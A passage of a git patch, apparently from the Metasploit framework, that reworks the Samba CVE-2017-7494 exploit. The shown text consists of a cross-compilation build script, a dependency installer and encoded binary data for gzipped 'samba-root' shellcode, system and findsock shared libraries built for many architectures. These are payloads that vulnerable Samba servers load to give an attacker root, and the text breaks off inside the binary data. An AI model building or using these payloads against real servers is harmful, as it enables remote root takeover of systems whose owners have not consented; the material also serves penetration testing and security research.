From 184c8f50f183effb4bee1568c3c3f36fb880c09b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 27 May 2017 17:03:01 -0500 Subject: [PATCH] Rework the Samba exploit & payload model to be magic. --- data/exploits/CVE-2017-7494/build.sh | 44 +++ data/exploits/CVE-2017-7494/install-deps.sh | 21 ++ .../samba-root-findsock-aarch64.so.gz | Bin 0 -> 2679 bytes .../samba-root-findsock-armel.so.gz | Bin 0 -> 2752 bytes .../samba-root-findsock-armhf.so.gz | Bin 0 -> 2737 bytes .../samba-root-findsock-mips.so.gz | Bin 0 -> 2883 bytes .../samba-root-findsock-mips64.so.gz | Bin 0 -> 3026 bytes .../samba-root-findsock-mips64el.so.gz | Bin 0 -> 3048 bytes .../samba-root-findsock-mipsel.so.gz | Bin 0 -> 2894 bytes .../samba-root-findsock-powerpc.so.gz | Bin 0 -> 3266 bytes .../samba-root-findsock-powerpc64.so.gz | Bin 0 -> 3400 bytes .../samba-root-findsock-powerpc64le.so.gz | Bin 0 -> 3284 bytes .../samba-root-findsock-s390x.so.gz | Bin 0 -> 2782 bytes .../samba-root-findsock-sparc.so.gz | Bin 0 -> 2681 bytes .../samba-root-findsock-sparc64.so.gz | Bin 0 -> 2793 bytes .../samba-root-findsock-x86.so.gz | Bin 0 -> 2774 bytes .../samba-root-findsock-x86_64.so.gz | Bin 0 -> 2654 bytes .../CVE-2017-7494/samba-root-findsock.c | 55 ++++ .../samba-root-shellcode-aarch64.so.gz | Bin 0 -> 2599 bytes .../samba-root-shellcode-armel.so.gz | Bin 0 -> 2673 bytes .../samba-root-shellcode-armhf.so.gz | Bin 0 -> 2649 bytes .../samba-root-shellcode-mips.so.gz | Bin 0 -> 2792 bytes .../samba-root-shellcode-mips64.so.gz | Bin 0 -> 2846 bytes .../samba-root-shellcode-mips64el.so.gz | Bin 0 -> 2852 bytes .../samba-root-shellcode-mipsel.so.gz | Bin 0 -> 2800 bytes .../samba-root-shellcode-powerpc.so.gz | Bin 0 -> 3134 bytes .../samba-root-shellcode-powerpc64.so.gz | Bin 0 -> 3306 bytes .../samba-root-shellcode-powerpc64le.so.gz | Bin 0 -> 3154 bytes .../samba-root-shellcode-s390x.so.gz | Bin 0 -> 2818 bytes .../samba-root-shellcode-sparc.so.gz | Bin 0 -> 2618 bytes .../samba-root-shellcode-sparc64.so.gz | Bin 0 -> 2724 bytes .../samba-root-shellcode-x86.so.gz | Bin 0 -> 2630 bytes .../samba-root-shellcode-x86_64.so.gz | Bin 0 -> 2576 bytes .../CVE-2017-7494/samba-root-shellcode.c | 35 +++ .../samba-root-system-aarch64.so.gz | Bin 0 -> 2429 bytes .../samba-root-system-armel.so.gz | Bin 0 -> 2515 bytes .../samba-root-system-armhf.so.gz | Bin 0 -> 2504 bytes .../samba-root-system-mips.so.gz | Bin 0 -> 2579 bytes .../samba-root-system-mips64.so.gz | Bin 0 -> 2653 bytes .../samba-root-system-mips64el.so.gz | Bin 0 -> 2675 bytes .../samba-root-system-mipsel.so.gz | Bin 0 -> 2598 bytes .../samba-root-system-powerpc.so.gz | Bin 0 -> 2902 bytes .../samba-root-system-powerpc64.so.gz | Bin 0 -> 3064 bytes .../samba-root-system-powerpc64le.so.gz | Bin 0 -> 2929 bytes .../samba-root-system-s390x.so.gz | Bin 0 -> 2568 bytes .../samba-root-system-sparc.so.gz | Bin 0 -> 2399 bytes .../samba-root-system-sparc64.so.gz | Bin 0 -> 2495 bytes .../CVE-2017-7494/samba-root-system-x86.so.gz | Bin 0 -> 2450 bytes .../samba-root-system-x86_64.so.gz | Bin 0 -> 2357 bytes .../CVE-2017-7494/samba-root-system.c | 24 ++ .../exploits/linux/samba/is_known_pipename.rb | 279 ++++++++++++++---- 51 files changed, 396 insertions(+), 62 deletions(-) create mode 100755 data/exploits/CVE-2017-7494/build.sh create mode 100755 data/exploits/CVE-2017-7494/install-deps.sh create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-armel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mips.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mips64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-s390x.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-sparc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-7494/samba-root-findsock.c create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-armel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-armhf.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mips.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mips64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-s390x.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-7494/samba-root-shellcode.c create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-armhf.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-s390x.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz create mode 100755 data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-7494/samba-root-system.c diff --git a/data/exploits/CVE-2017-7494/build.sh b/data/exploits/CVE-2017-7494/build.sh new file mode 100755 index 0000000000..76edfd31d6 --- /dev/null +++ b/data/exploits/CVE-2017-7494/build.sh @@ -0,0 +1,44 @@ +#!/bin/bash + +build () { + CC=$1 + TARGET_SUFFIX=$2 + CFLAGS=$3 + + echo "[*] Building for ${TARGET_SUFFIX}..." + for type in {shellcode,system,findsock} + do ${CC} ${CFLAGS} -Wall -Werror -fPIC samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so + done +} + +rm -f *.o *.so *.gz + +# x86 +build "gcc" "x86_64" "-m64" +build "gcc" "x86" "-m32" + +# ARM +build "arm-linux-gnueabi-gcc-5" "armel" "-march=armv5 -mlittle-endian" +build "arm-linux-gnueabihf-gcc-5" "armhf" "-march=armv7 -mlittle-endian" +build "aarch64-linux-gnu-gcc-4.9" "aarch64" "" + +# MIPS +build "mips-linux-gnu-gcc-5" "mips" "" +build "mipsel-linux-gnu-gcc-5" "mipsel" "" +build "mips64-linux-gnuabi64-gcc-5" "mips64" "" +build "mips64el-linux-gnuabi64-gcc-5" "mips64el" "" + +# SPARC +build "sparc64-linux-gnu-gcc-5" "sparc64" "" +build "sparc64-linux-gnu-gcc-5" "sparc" "-m32" + +# PowerPC +build "powerpc-linux-gnu-gcc-5" "powerpc" "" +build "powerpc64-linux-gnu-gcc-5" "powerpc64" "" +build "powerpc64le-linux-gnu-gcc-4.9" "powerpc64le" "" + +# S390X +build "s390x-linux-gnu-gcc-5" "s390x" "" + +gzip -9 *.so +rm -f *.o *.so diff --git a/data/exploits/CVE-2017-7494/install-deps.sh b/data/exploits/CVE-2017-7494/install-deps.sh new file mode 100755 index 0000000000..0f2e1b713c --- /dev/null +++ b/data/exploits/CVE-2017-7494/install-deps.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +# Assume x86_64 Ubuntu 16.04 base system +apt-get install build-essential \ + gcc-5-multilib \ + gcc-5-multilib-arm-linux-gnueabi \ + gcc-5-multilib-arm-linux-gnueabihf \ + gcc-5-multilib-mips-linux-gnu \ + gcc-5-multilib-mips64-linux-gnuabi64 \ + gcc-5-multilib-mips64el-linux-gnuabi64 \ + gcc-5-multilib-mipsel-linux-gnu \ + gcc-5-multilib-powerpc-linux-gnu \ + gcc-5-multilib-powerpc64-linux-gnu \ + gcc-5-multilib-s390x-linux-gnu \ + gcc-5-multilib-sparc64-linux-gnu \ + gcc-4.9-powerpc64le-linux-gnu \ + gcc-4.9-aarch64-linux-gnu + +if [ ! -e /usr/include/asm ]; + then ln -sf /usr/include/asm-generic /usr/include/asm +fi diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..d9d8c56cfd91514664b67735e03d4b66ec4c0b7f GIT binary patch literal 2679 zcmV--3W)U|iwFn__bFKd19M?*VqqY0h?YhoG?h@BG)Ab6uEkv6&d!`?=XPyN zX{7#KXY>-S3Zt|d;G^#d#YMUboYY6@ z6Mr>hB{2V|n$m96^UYGfjkI2jN}Syq(hmTkZ9CzI2Y$Y6?JF05yYS5&4_y3dc>l2r z-#rI3zlv+e7tcl{+1E2^VN3C?wS<1L{${ZK-4B2BmzNJ5d+qY-(|>w$dEkp{pSk+% zQ!6IFe{0dc@S{im_WO?)J^k^~!P)AhKp9LeaKjhF)k?{MS;M5krHpQTSGwRA@Ll49 zOCIHX2j9gm_)oaD=buTB^56ErH4nR|J>)lf$iLws-z-^vE`z74o$Xdh@OxpqfCoL~ zuaWZ0VQQhx*HGN=A)lr4r^;-8JB^Jx7fWXjTDQBEBEl z$M&h+RIV+d8HR3vp(P_4v7{!`u`E$S2cmn_X#XCyFRNu@5bf7eeY$F<)l52Vs#!zN zK%Z_J>FA!6mej$}Q!$8T_pSqdK#%To7SXH46F|zhO;Ia}cqHmK(*B1b5o=1sQ`vzg zP0K|4A6{>vYeCgxnyFz)5yP-sgil+oLpZcd(v(_`ggUnd+thXbwHpczE0Z-+DWvRI za{UM7_Y>OR);K;o`r{HyJ0!7rD8WbE+_LlKLOxs16uMv@qT}n5fCnhPrP_%z{>>`7 zFZgWV*>je|eH?zC!}<035{L6c_bP|;L-aa_S2`vD-ERcDr5w)hd(|Ay`%}l^HT*o{ z@KO$6&EaJnzJ|jW^6L+WS8#ZM!xwS*^w62{X$3~t0UVhgdh5hlMZLmTdkXVMa9dn_ zH>puEdo%$ry&2XfUikUYYdAit917a||z_(jM^IDQH82RVKj^2a&; zKIG4F{Qbz^;P{o6eTneH=qr2>%HcWXm_%^P9(MEvZZQ2O8 z#sR{ZKhpT;P_7kq8le7)s}9OH-f27Bc&GJ6d=DQ(*@LJToC@WFm<~|A>7mo4J#Uvo z?l9{21Y27I57NzY&`rnk2S~t(&2orE_cpARWGJ9c`fJ ztD|E}A$O)0av%?Pk1Z$L;fOShxFU_NtO$(D6)?WCq7|t$-gp3QAF$dgfMr1LN9ZfS z!S1non8b5Y&9Nwqj=c?|Hx%jh_Z4`3tUfULD$3MD{T^)pa2?8wMFWHNrSPo9*H}E- zQLw%@e8ZQS&I_o6K6YE_Lzr%)>2G7Ym8K73dTc4y=LHy*u|E4P9&wzEPgwp~Y0GZn zKlw1A4rw23gX0?lIm`c6kS=V3`oCL#Jc+u~L+=#Y*=n<01bfSY@$;cM5>GW7{Z{fz z`5j%s<1M%r9a7Fa&nU6yV(=1t{(S!Yzdr2L^^w4TLMhub*g22wf$SXj1#s^3%fWfC zx(}TD{R$!fpLg?VvcFTqY|k8^n=0EYOX)p`?QPvup6%6jg*%7++^m|p50d>IoabP+ z_t!H01x`Fr;`Ed0mkIXn=57C(qj}0RyHk|EKr5D`yz&|K=XK$}^=Y5#(*F%*PpGZ! zk%rYfBiWRhZSKUwcqZMj-rwSXuxagsS%R*6zy{{_O~KJRBDvvmVLUl;r7(`1xUVqY zocKM3eskg_&O=-QUr-n~PQ0`*zUFstURcy_HeOzcyEyUUdzFn>LY*tV2)4N5RfT!% z#H$PQcdq-rjW2N>hYBo(i7Gd|rZ8Wf_`QYmzY{OMU)p%B>-y${TX_-RMOP28J-<%o z?hIbzkT349U38Tc+kf}0cFW+7M>!Sc#c>F?axRj(6}LaD*B^v>U8D69@%JcRTIR&3 z$Zv7`-=^{bLB33~{F&(&$x%-6_^BiE#rP)4F8`3LKgHwoYowfFe2PXL#Bs7)a&ONm zy1R+;y`yK_c-5|W%oExt?VB6x?gsWC#~`*XN~M0Z|joX{eMPw zk0b7v-Q#30$?oyRF%N%U^T6Nm@bk3n-kujcB>h=#k` zm_(@a@nCDG`gljjj`pw`ZVh&}tFuR8h3F(7c?|@(pd^cI+HqY+6w?_sb!rK*VKGSS z5H1etx`l8_w3LNTtr)Iga3=CsSvkVdi2fs0xG_?p) zGh@?!mP(~f-H+qfAIZiOv8H$o2-mL}{os!crcl$SX2#Chr)P|KI^|$g%**Hr%@U-k zy$KWi#Jbq`3^A-F<54u0Hp!1&u3ZK;G5B$M zByk*n>U+y_dY5CzeXs9%Abihbk00NE;a!dCv-#xF3R-TJ%-Wsg8#BWchb9U;ks1fqyetoWS9EKxIF$o z&FEE+_G9%=QT?EBKWCKJuW`{I;J$tG@e4+4=IDPz&=>Es6CU4n8GTOBXZHz4H_Nlz z|CXT7&N+-$&*A^~s6I2p&b5p-3-V(By)5Xnb1S31Iqbg*_ICvZ#P8eg_C)>!{eG5dV(A`S$}pL7(-@Il(?VPft|MtPgJX8GT34XZPcq zRKI5q{Y!#AyBBP!o?rd1P>kubbLVyseR2J{MzJ*l&h)?Hq0i`Ij~Lkz8esfj4*UGr lb=3G;Q8h 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 G9{>O^kascw literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..ebc4e4eb121a3e3635abf4a6367b9596d6cc1614 GIT binary patch literal 2737 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 